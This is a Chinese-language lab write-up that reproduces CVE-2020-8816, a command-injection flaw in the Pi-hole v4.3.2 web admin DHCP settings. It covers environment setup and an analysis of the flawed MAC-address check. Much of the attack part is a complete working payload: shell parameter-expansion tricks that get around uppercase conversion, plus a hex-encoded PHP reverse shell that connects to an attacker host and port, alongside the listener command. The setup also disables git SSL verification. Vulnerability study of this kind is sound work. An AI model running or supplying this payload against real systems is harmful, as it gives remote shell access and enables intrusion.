CVE-2020-8816: Pi-hole中的遠程代碼執行漏洞分析及復現
CVE-2020-8816是Pi-hole軟件中的一個遠程代碼執行漏洞,Pi-hole是一個用於內容過濾的DNS服務器,也提供DHCP服務。這個軟件提供一個Web界面,漏洞就存在於實現Web界面的源碼中,影響版本在v4.3.2及其之前。
環境搭建(先看下面的“踩到的坑”)
環境:virtualbox6.1 + ubuntu18.04 + pi-hole v4.3.2
相關IP:
虛擬機NAT網卡,IP地址爲:10.0.2.15
虛擬機橋接網卡,IP地址爲:192.168.0.107
主機IP地址爲:192.168.0.105
1、下載Pi-hole的安裝腳本
mkdir pi-hole cd pi-hole wget -O basic-install.sh https://install.pi-hole.net
2、修改腳本文件,下載v4.3.2版本
我一開始直接下載的v4.3.2的源碼,但是安裝過後還是發現最新版本,最後決定直接修改官方提供的安裝腳本。
注意要使用最新版本的安裝腳本,v4.3.2中的安裝腳本雖然也可以使用,但是修改的內容更多,這裏不再贅述。
找到make_repo()函數中的下述代碼:
# Clone the repo and return the return code from this command git clone -q --depth 20 "${remoteRepo}" "${directory}" &> /dev/null || return $?
修改爲:
# Clone the repo and return the return code from this command git clone -q --depth 20 --branch v4.3.2 "${remoteRepo}" "${directory}" &> /dev/null || return $?
系統在第一次安裝時會調用make_repo()函數,從github上下載pihole以及web interface的代碼,這裏指定下載v4.3.2版本。
如果不是第一次安裝,系統會調用update_repo()函數,但是一般安裝一次就能成功,如果需要再次安裝,可以刪除在make_repo()中創建的文件夾,避免進入update_repo()函數。
3、執行腳本&安裝成功
sudo bash basic-install.sh
因爲我這裏只是想要復現漏洞,不需要考慮軟件的功能問題,所以基本選擇默認選項就可以。
注意這一步只選擇一項,避免浪費時間,因爲後面會連接這些站點下載屏蔽廣告列表。
安裝成功,顯示以下界面:
打開 http://192.168.1.107/admin ,可以看到頁面下方的版本號,正是我們需要的版本:
踩到的坑
1、ubuntu版本問題
這個問題我估計大多數人應該遇不到,因爲我的virtualbox裏面當時剛好新裝了一個ubuntu12.04,是一個乾淨的系統,我就直接用了這個版本的ubuntu,結果安裝的時候發現找不到Pi-hole的一些依賴包,最終放棄,轉戰ubuntu18.04。
2、SSL連接問題
錯誤信息:
OpenSSL SSL_connect: SSL_ERROR_SYSCALL……
省略號部分我沒有記住,但是如果遇到同樣的錯誤應該能認出來。
解決辦法:
執行以下命令
git config --global http.sslVerify false
3、FTL下載失敗
錯誤信息:
[i] Downloading and Installing FTL... curl: (56) OpenSSL SSL_read: SSL_ERROR_SYSCALL, errno 104 [✗] Downloading and Installing FTL Error: URL https://github.com/pi-hole/FTL/releases/download/v4.3.1/pihole-FTL-linux-x86_64 not found [✗] FTL Engine not installed
解決辦法:
這個問題是由於網絡原因導致的,如果你能 設置虛擬機使用主機代理 ,下面的內容可以略過,但是由於個人原因,我的設置沒有成功,所以需要在主機把文件下載下來,然後複製到正確的位置,並對腳本進行適當修改。
注意,在錯誤信息中,我們已經獲得了文件的下載地址 https://github.com/pi-hole/FTL/releases/download/v4.3.1/pihole-FTL-linux-x86_64 ,下載完成後放入用戶根目錄。
觀察basic_install.sh文件,發現FTLinstall()函數中有這樣一行代碼:
# Move into the temp ftl directory pushd "$(mktemp -d)" > /dev/null || { printf "Unable to make temporary directory for FTL binary download\\n"; return 1; }
所以說,程序會新建並進入一個臨時文件夾,下載的文件也會保存在這裏,而不是放在腳本所在文件夾。不管怎麼樣,我們只需要把下載下來的文件放入當前文件夾即可。修改basic_install.sh文件,在FTLinstall()函數中,找到下面的代碼:
# If the download worked, if curl -sSL --fail "${url}/${binary}" -o "${binary}"; then # get sha1 of the binary we just downloaded for verification. curl -sSL --fail "${url}/${binary}.sha1" -o "${binary}.sha1"
並修改爲:
# If the download worked, # if curl -sSL --fail "${url}/${binary}" -o "${binary}"; then cp ~/pihole-FTL-linux-x86_64 ./ if true; then # get sha1 of the binary we just downloaded for verification. curl -sSL --fail "${url}/${binary}.sha1" -o "${binary}.sha1"
漏洞分析
出現問題的代碼
function validMAC($mac_addr) { // Accepted input format: 00:01:02:1A:5F:FF (characters may be lower case) return (preg_match('/([a-fA-F0-9]{2}[:]?){6}/', $mac_addr) == 1); } $mac = $_POST["AddMAC"]; if(!validMAC($mac)) {...} $mac = strtoupper($mac); if(isset($_POST["addstatic"])) { ... exec("sudo pihole -a addstaticdhcp ".$mac." ".$ip." ".$hostname); ... } if(isset($_POST["removestatic"])) { ... exec("sudo pihole -a removestaticdhcp ".$mac); ... }
完整代碼看 這裏 。
注意到,在validMAC函數中,只使用preg_match對MAC地址的格式進行了檢查,而preg_match函數的作用是根據正則表達式的模式對字符串進行搜索匹配,並返回匹配字數。因此,只要用戶的輸入中存在MAC地址,就可以通過檢查。
通過檢查的用戶輸入做了一次大寫轉換,然後直接放入了exec函數中。
最終的payload
aaaaaaaaaaaa&&SHORT=${PATH##/***:/}&&A=${SHORT#???}&&P=${A%/???}&&B=${PWD#/???/???/}&&H=${B%???/?????}&&C=${PWD#/??}&&R=${C%/???/????/?????}&&$P$H$P$IFS-$R$IFS'EXEC(HEX2BIN("706870202d72202724736f636b3d66736f636b6f70656e28223139322e3136382e312e313035222c32323536293b6578656328222f62696e2f7368202d69203c2633203e263320323e263322293b27"));'&&
Payload分析
1、模擬MAC地址
aaaaaaaaaaaa
根據源碼中的validMAC()函數,我們得知程序會對用戶輸入做一個基本的MAC地址格式判斷,只要由12個字母或數字組成,就可以通過驗證。
2、獲取p,h,r的小寫字符
SHORT=${PATH##/***:/}&&A=${SHORT#???}&&P=${A%/???}&&B=${PWD#/???/???/}&&H=${B%???/?????}&&C=${PWD#/??}&&R=${C%/???/????/?????}
原本的payload應該爲:
aaaaaaaaaaaa&&php -r ‘$sock=fsockopen(“192.168.0.105”,2256);exec(“/bin/sh -i <&3 >&3 2>&3”);’
但是由於程序會對用戶輸入做一個大寫轉換,因此,php -r會變成PHP -R,命令無法識別,因此需要找到一種方式獲取p、h、r的小寫字符。
可以使用環境變量,變量名都是大寫字母,而變量值中可能包含各種小寫字母。
在瀏覽器中進入 http://192.168.1.107/admin ,登陸後,選擇Setting->DHCP選項卡,先試一下PATH變量,輸入aaaaaaaaaaaa$PATH,結果顯示:
很遺憾,沒有h字符,看來還需要找其他環境變量。我在env命令的執行結果中找到了PWD變量,輸入試一下:
裏面有h和r,所以,我可以使用PATH和PWD兩個環境變量,獲得p、h、r這幾個字符。
我使用了 Shell參數擴展 對這兩個變量值進行截取:
p: SHORT=${PATH##/***:/}&&A=${SHORT#???}&&P=${A%/???} h: B=${PWD#/???/???/}&&H=${B%???/?????} r: C=${PWD#/??}&&R=${C%/???/????/?????}
根據 模式匹配 的規則,應該可以寫出更簡潔的方法,但是我的系統中好多shell選項都沒有開啓,考慮到通用性,我就直接選擇了最傻瓜的匹配方式。
3、獲得反向shell
$P$H$P$IFS-$R$IFS'EXEC(HEX2BIN("706870202d72202724736f636b3d66736f636b6f70656e28223139322e3136382e312e313035222c32323536293b6578656328222f62696e2f7368202d69203c2633203e263320323e263322293b27"));'
先把變量換成對應的字符,注意上面的 $IFS
是shell的一個內定變量,默認爲 <space><tab><newline>
,這裏代替空格。
php -r 'exec(hex2bin("706870202d72202724736f636b3d66736f636b6f70656e28223139322e3136382e312e313035222c32323536293b6578656328222f62696e2f7368202d69203c2633203e263320323e263322293b27"))'
然後替換 hex2bin
的執行結果(轉義符是我後加的):
php -r 'exec(php -r \'$sock=fsockopen("192.168.1.105",2256);exec("/bin/sh -i <&3 >&3 2>&3");\')'
這段代碼就可以獲得一個反向shell。
漏洞復現
在主機的命令行中輸入:
ncat -nlvp 2256
進入監聽模式,等待其他機器的連接。
返回虛擬機,在瀏覽器中打開 http://192.168.1.107/admin
,登錄,選擇Setting->DHCP選項卡,輸入payload:
aaaaaaaaaaaa&&SHORT=${PATH##/***:/}&&A=${SHORT#???}&&P=${A%/???}&&B=${PWD#/???/???/}&&H=${B%???/?????}&&C=${PWD#/??}&&R=${C%/???/????/?????}&&$P$H$P$IFS-$R$IFS'EXEC(HEX2BIN("706870202d72202724736f636b3d66736f636b6f70656e28223139322e3136382e312e313035222c32323536293b6578656328222f62696e2f7368202d69203c2633203e263320323e263322293b27"));'&&
返回主機,可以看到主機收到了連接,可以執行命令了: